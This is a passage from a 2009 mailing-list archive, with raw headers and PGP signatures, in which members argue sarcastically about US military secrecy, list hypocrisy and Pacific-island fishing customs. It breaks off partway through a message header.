quit civilization. I put it to the missus, a London woman, and she was for it. I've had nearly ten years now in the Cook group. D'ye know, I've learned one thing -- that money means very little in life. Why, in Aitutaki you can't sell fish. The law forbids it, but do you suppose people don't fish on that account? Why, a man goes out in his canoe and fishes like mad. He brings in his canoe, and as he approaches the beach he's blowing his pu, the conch-shell, to let people know he has fish. Fish to sell or to barter? Not at all. He wants the honor of giving them away. Now, if he makes a big catch, do you see, he has renown. People say, 'There's Taiere, who caught all those fish yesterday.' That's worth more to him than money. But if he could sell those fish, if there was competition, only the small-minded, the business souls, would fish. I'm not a socialist, but Aitutaki shows that, released from the gain, man will serve his fellows for their plaudits. And, mind you, no person took more fish than he needed. There was no greed." Well, what do you know about that. _From: MYSTIC ISLES OF THE SOUTH SEAS: - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocxrsACgkQXo3EtEYbt3HAVQCgkDKt59JsiCJ1l1awaUF8jpZR vNkAoNm6h8dtXCH5DyFjKi8Suv9P7CUU =itFr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 12:09:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RJ9dWJ022000; Wed, 27 May 2009 12:09:39 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RJ9Y39021975; Wed, 27 May 2009 12:09:34 -0700 Resent-Date: Wed, 27 May 2009 12:09:34 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 12:09:28 -0700 From: grok To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com, svj.orionworks@gmail.com Message-ID: <20090527190928.GA23886@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Computer Terrorism, Tolloue 4, Phalanx, Soros, Tu-95KM User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4210 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Status: O X-Status: X-Keywords: X-UID: 452 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 See, here's the vortex-l hypocrisy in action again: it's truly A-OK to discuss U.S. politix on vortex-l -- just so long as you're an (essentially) unkritikal supporter of the U.S. government and its military, police, etc. apparatus. MOST especially as it's the case that they do control giga-buck research funding, of course... Case proven with typical ewxample below (and the original post it replies to). QED. - -- grok. As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > $50 billion is ridiculous, but on the other hand a lot of military > technology is useful mainly because it is secret. There has to be a > balance. > > Some of the most potent secret technology is quite cheap, such as U.S. > ability to track people via cell phone which was used in the early stages > of the war in Afghanistan. That should have been kept strictly secret but > unfortunately Bush administration people bragged about it. Anyone who > knows about cell phone technology knew it, but I doubt the Taliban read > telcom trade magazines or watch "Law and Order." > > Military secrets and secret technology have a short shelf life. Ditto > corporate secrets. Nothing stays secret for long, and it is a huge > mistake to depend upon secrecy. Before WWII, the Japanese kept the > performance of the Zero fighter somewhat confidential, which was a good > idea. They tried to keep the existence of their largest battleship then > under construction a state secret, which was ridiculous. There is no > point to having a super-battleship that no one knows about. The US > captured a damaged zero fighter in the Aleutians after the Battle of > Midway. It was quickly repaired and flow in flight tests, and it soon > reveals all of the secrets. > > - Jed > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodj+gACgkQXo3EtEYbt3HILACg3laVx803PoKV4ekFuZomsGUD 2HAAoJUGfWkg2/St3OzKX6eaXEjHqsmk =aK2j -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 12:14:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RJE4is021303; Wed, 27 May 2009 12:14:04 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RJE2Lr021285; Wed, 27 May 2009 12:14:02 -0700 Resent-Date: Wed, 27 May 2009 12:14:02 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=n0PBJO5N+Z7VqNcomQ4kKAa6lSuyAvvj5M2Bqj1ybk0=; b=NtpPfMbLz6qY1tpcvSq4/YDaPJ+H7o8XXfPpwIYTjpUmtD86aRu5LWMsL5B49RPphx V9yCQ5pMcoIalfEUZPktQdL9QIdGZG+Mic4P3GyLkk6e0sZbzbeMGtJVI7jTLCh6RgvI 14xT5kf3cwrf3T73BMHPiv56Rp7Mx3o1LEdUs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=ZfSytzR8MXYs4VhLDTGjee7xd7B+tQd9P8FF7BXXeayPe0Y105bbONjvZUTDddtwFo sunACvtcMRZxlUKt0rcHqp9yr7q2eHSRbwdyssl4aRFVu0uOZySo6ulHTtMQT4vvOSqh vDsVc7PyJTq17hWy5LPvO1kDZGhWb4Daugehg= MIME-Version: 1.0 In-Reply-To: <20090527190928.GA23886@shell.resist.ca> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 15:13:40 -0400 Message-ID: <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com, svj.orionworks@gmail.com Content-Type: multipart/alternative; boundary=001636c5a9bf50eb92046ae9a519 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4211 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 453 --001636c5a9bf50eb92046ae9a519 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Since you've described the reasons and they are logical, it doesn't sound like hypocrisy but good sense. On Wed, May 27, 2009 at 3:09 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > See, here's the vortex-l hypocrisy in action again: it's truly A-OK to > discuss U.S. > politix on vortex-l -- just so long as you're an (essentially) unkritikal > supporter > of the U.S. government and its military, police, etc. apparatus. > > MOST especially as it's the case that they do control giga-buck research > funding, of > course... > > > Case proven with typical ewxample below (and the original post it replies > to). QED. > > - -- grok. > > > > > As the smoke cleared, Jed Rothwell > mounted the barricade and roared out: > > > $50 billion is ridiculous, but on the other hand a lot of military > > technology is useful mainly because it is secret. There has to be a > > balance. > > > > Some of the most potent secret technology is quite cheap, such as U.S. > > ability to track people via cell phone which was used in the early stag= es > > of the war in Afghanistan. That should have been kept strictly secret b= ut > > unfortunately Bush administration people bragged about it. Anyone who > > knows about cell phone technology knew it, but I doubt the Taliban read > > telcom trade magazines or watch "Law and Order." > > > > Military secrets and secret technology have a short shelf life. Ditto > > corporate secrets. Nothing stays secret for long, and it is a huge > > mistake to depend upon secrecy. Before WWII, the Japanese kept the > > performance of the Zero fighter somewhat confidential, which was a good > > idea. They tried to keep the existence of their largest battleship then > > under construction a state secret, which was ridiculous. There is no > > point to having a super-battleship that no one knows about. The US > > captured a damaged zero fighter in the Aleutians after the Battle of > > Midway. It was quickly repaired and flow in flight tests, and it soon > > reveals all of the secrets. > > > > - Jed > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkodj+gACgkQXo3EtEYbt3HILACg3laVx803PoKV4ekFuZomsGUD > 2HAAoJUGfWkg2/St3OzKX6eaXEjHqsmk > =3DaK2j > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a9bf50eb92046ae9a519 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Since you've described the reasons and they are logical, it doesn't= sound like hypocrisy but good sense.


On Wed, May 27, 2009 at 3:09 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SI= GNED MESSAGE-----
Hash: SHA1


See, here's the vortex-l hypocrisy in action again: it's truly A-OK= to discuss U.S.
politix on vortex-l -- just so long as you're an (essentially) unkritik= al supporter
of the U.S. government and its military, police, etc. apparatus.

MOST especially as it's the case that they do control giga-buck researc= h funding, of
course...


Case proven with typical ewxample below (and the original post it replies t= o). QED.

- -- grok.




As the smoke cleared, Jed Rothwell <jedrothwell@gmail.com>
mounted the barricade and roared out:

> $50 billion is ridiculous, but on the other hand a lot of military
> technology is useful mainly because it is secret. There has to be a > balance.
>
> Some of the most potent secret technology is quite cheap, such as U.S.=
> ability to track people via cell phone which was used in the early sta= ges
> of the war in Afghanistan. That should have been kept strictly secret = but
> unfortunately Bush administration people bragged about it. Anyone who<= br> > knows about cell phone technology knew it, but I doubt the Taliban rea= d
> telcom trade magazines or watch "Law and Order."
>
> Military secrets and secret technology have a short shelf life. Ditto<= br> > corporate secrets. Nothing stays secret for long, and it is a huge
> mistake to depend upon secrecy. Before WWII, the Japanese kept the
> performance of the Zero fighter somewhat confidential, which was a goo= d
> idea. They tried to keep the existence of their largest battleship the= n
> under construction a state secret, which was ridiculous. There is no > point to having a super-battleship that no one knows about. The US
> captured a damaged zero fighter in the Aleutians after the Battle of > Midway. It was quickly repaired and flow in flight tests, and it soon<= br> > reveals all of the secrets.
>
> - Jed
>





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkodj+gACgkQXo3EtEYbt3HILACg3laVx803PoKV4ekFuZomsGUD
2HAAoJUGfWkg2/St3OzKX6eaXEjHqsmk
=3DaK2j
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a9bf50eb92046ae9a519-- From vortexb-l-request@eskimo.com Wed May 27 12:20:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RJKPgq001084; Wed, 27 May 2009 12:20:25 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RJKOTe001076; Wed, 27 May 2009 12:20:24 -0700 Resent-Date: Wed, 27 May 2009 12:20:24 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 12:20:18 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090527192018.GC23886@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Computer Terrorism, Tolloue 4, Phalanx, Soros, Tu-95KM User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <6RfxQC.A.pQ.4JZHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4212 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 454 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > We all covet the accolades of our fellow man whether we admit it or not. In > addition, this fellow probably gets invited to dinner somewhere every day. > So, he circumvents the law and still gets almost everything he wants out of > fishing. > > Jeff The Law is an ass, isn't it? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodknIACgkQXo3EtEYbt3EtuACeKaYCRgJXzpoJad5Gq1mrw4GM 68UAnjtIajh5oghTdoy5i/htOMgOpyXC =YQjL -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 13:05:59 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RK5uib000383; Wed, 27 May 2009 13:05:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RK5uYX000350; Wed, 27 May 2009 13:05:56 -0700 Resent-Date: Wed, 27 May 2009 13:05:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 13:05:33 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527200533.GE23886@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: trillion rubles, Metis-M, reactor grade, Shihab-2, Active Endeavor User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4213 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 455 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Since you've described the reasons and they are logical, it doesn't sound > like hypocrisy but good sense. It's amazing what lengths USAmericans will go to, to torture logic in order to get it to talk the way they want. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodnQ0ACgkQXo3EtEYbt3ELDACeLZYw+CG+i8qdbW3SR7jXI3b6 lFQAoO9LcD3zaEA7b0wyjcVumml5SQNS =E4hK -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 13:10:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RKAKe1010332; Wed, 27 May 2009 13:10:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RKAJA2010319; Wed, 27 May 2009 13:10:19 -0700 Resent-Date: Wed, 27 May 2009 13:10:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=VQ5MY/OMDjx4mu8s/r314cjTA0tGAcKfXgaJ7iUaB+E=; b=GgBQoKb2nxiEvExPRr19vrMFDGX+lJJT9xiG1catsYs7CzbzLJnxRuLTXgv79sH56B 7/UPyNncSs+Jx3y2oFU78ahK3/gw4CHuuc2oh+zwkKBa13XW2dotzU5O4QsLXzA9PEoW ImbBe2mRvwMLITBcFA2yTKY4TxKFLfErBT0iQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=JDJ2UJ1bX/p0QXc17fp8xH4BWCpGf3msA3Yk1gDjux6G9KgU76nvxwdy8ERricQnKs XCTzpBOKPPUlQueEb3oQNIzpujIlhRfVa7slle+cd9RxG7RKAOr0wCt8quJN0q34zuVW hvKhJ2AbKoEfGEyDuj5Ro2GIwQvBanuefMJUI= MIME-Version: 1.0 In-Reply-To: <20090527200533.GE23886@shell.resist.ca> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 16:09:53 -0400 Message-ID: <63ffa6020905271309n7253cb88n56f6684a36fdf60a@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a87e5c62ad046aea6e7a Resent-Message-ID: <6_7a.A.EhC.r4ZHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4214 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 456 --001636c5a87e5c62ad046aea6e7a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You like it? We call it "enhanced" logic. On Wed, May 27, 2009 at 4:05 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Since you've described the reasons and they are logical, it doesn't sou= nd > > like hypocrisy but good sense. > > It's amazing what lengths USAmericans will go to, to torture logic in ord= er > to get it > to talk the way they want. > > > - --grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkodnQ0ACgkQXo3EtEYbt3ELDACeLZYw+CG+i8qdbW3SR7jXI3b6 > lFQAoO9LcD3zaEA7b0wyjcVumml5SQNS > =3DE4hK > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a87e5c62ad046aea6e7a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You like it? We call it "enhanced" logic.



On Wed, May 27, 2009 at 4:05 PM, grok <grok@resist.ca> wrote:=
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Since you've described the reasons and the= y are logical, it doesn't sound
> like hypocrisy but good sense.

It's amazing what lengths USAmericans will go to, to torture logi= c in order to get it
to talk the way they want.


- --grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkodnQ0ACgkQXo3EtEYbt3ELDACeLZYw+CG+i8qdbW3SR7jXI3b6
lFQAoO9LcD3zaEA7b0wyjcVumml5SQNS
=3DE4hK
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a87e5c62ad046aea6e7a-- From vortexb-l-request@eskimo.com Wed May 27 13:29:30 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RKTRd5017198; Wed, 27 May 2009 13:29:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RKTQbD017168; Wed, 27 May 2009 13:29:26 -0700 Resent-Date: Wed, 27 May 2009 13:29:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 13:29:21 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527202921.GA17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <63ffa6020905271309n7253cb88n56f6684a36fdf60a@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271309n7253cb88n56f6684a36fdf60a@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4215 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 457 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > You like it? We call it "enhanced" logic. I'll bet you do. Maybe even "stress position" logic, eh? Here, we just call it plain, old-fashioned "rubber-hose" logic. Or "electrodes on the nipples and genitalia" logic. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodoqEACgkQXo3EtEYbt3GbAwCgvwXAlXWK7Szk8/Lj1teCrMlp /lgAoM0+2gXEzPQ8KwtCPRxknVIXqcVD =2RIa -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 13:32:15 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RKWBqC018103; Wed, 27 May 2009 13:32:11 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RKWAY4018092; Wed, 27 May 2009 13:32:10 -0700 Resent-Date: Wed, 27 May 2009 13:32:10 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:x-mailer:date:to :from:subject:mime-version:content-type; bh=GuHcQidgDFrx+zT4TsmMs2uearkQw0911nn8McaVzmY=; b=mfibd0XJs4dDJexA02msWKnr8ILmvbbNXtCaB2aY1lH2bbkHQlfVt1vYGKrSFfQjQm tT6YMAJu4nVAVr++i8yTi0gFRKSsJviT8efulEc/Fbn+sEVOL22enlEtr/Az+am25kOY eIzewhddRfEYf3XlfUdfx/XRoiP49ETig6j0s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:x-mailer:date:to:from:subject:mime-version:content-type; b=Gb2CRtEASKLvhOKc/mMEtcUchA977SxE/OpUIHBM4As2gYu94t77ddIff/OU1bQP9C mvF94fVwWZIeViJ/6CouQQnXclFjQXF52GMrkyTHwA1GqypZi0gBrocthYD2yPHUeIgK wapKCppj+XQ8DbSO8vlmQ3Ft8taWRF/nJxa9k= Message-Id: <7.0.1.0.2.20090527162306.038d9be0@gmail.com> X-Mailer: QUALCOMM Windows Eudora Version 7.0.1.0 Date: Wed, 27 May 2009 16:32:06 -0400 To: vortexb-l@eskimo.com From: Jed Rothwell Subject: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4216 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 458 I auto-delete all messages from Grok, but a fragment of one survived as follows: "ee, here's the vortex-l hypocrisy in action again: it's truly A-OK to discuss U.S. olitix on vortex-l -- just so long as you're an (essentially) unkritikal supporter of the U.S. government and its military, police, etc. apparatus." I would like to point out that Zero fighter was produced by Mitsubishi Corporation of Japan, and the Yamato super-battleship was in the Japanese Imperial Navy, not the U.S. military, police, etc. apparatus. I am not a supporter of the Imperial Japanese military, uncritical or otherwise. That organization is defunct in any case. I do know a thing or two about that it, because my landlord and others I knew years ago were members. (They were not uncritical or "unkritikal" either.) Knowing about something does not necessarily mean you are a supporter. I am reading a rather tedious but authoritative, in-depth analysis of the Battle of Midway, J. Parshal, A. Tully, "Shattered Sword: The Untold Story of the Battle of Midway." They are not supporters either but they sure know a lot about the I. J. Navy. - Jed From vortexb-l-request@eskimo.com Wed May 27 13:39:57 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RKds95027489; Wed, 27 May 2009 13:39:55 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RKdsh8027406; Wed, 27 May 2009 13:39:54 -0700 Resent-Date: Wed, 27 May 2009 13:39:54 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 13:39:33 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090527203933.GB17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter 